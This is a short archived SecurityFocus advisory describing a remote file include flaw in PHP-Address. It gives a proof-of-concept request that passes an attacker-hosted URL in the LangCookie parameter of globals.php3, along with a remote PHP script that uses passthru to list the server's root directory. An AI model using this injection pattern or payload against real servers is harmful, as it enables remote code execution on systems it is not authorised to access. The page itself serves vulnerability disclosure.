Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

PHP-Address Remote File Include Vulnerability

The following example was submitted:

The following request is made:

http://SERVER/globals.php3?LangCookie=http://MYSERVER/x
(the .php3 is already there look at line 5 in global.php3)

Remote script located on MYSERVER:

------------x.php3------------
<?
passthru("/bin/ls /");
?>
-------------------------------

Outputs a directory listing.







 

Privacy Statement
Copyright 2009, SecurityFocus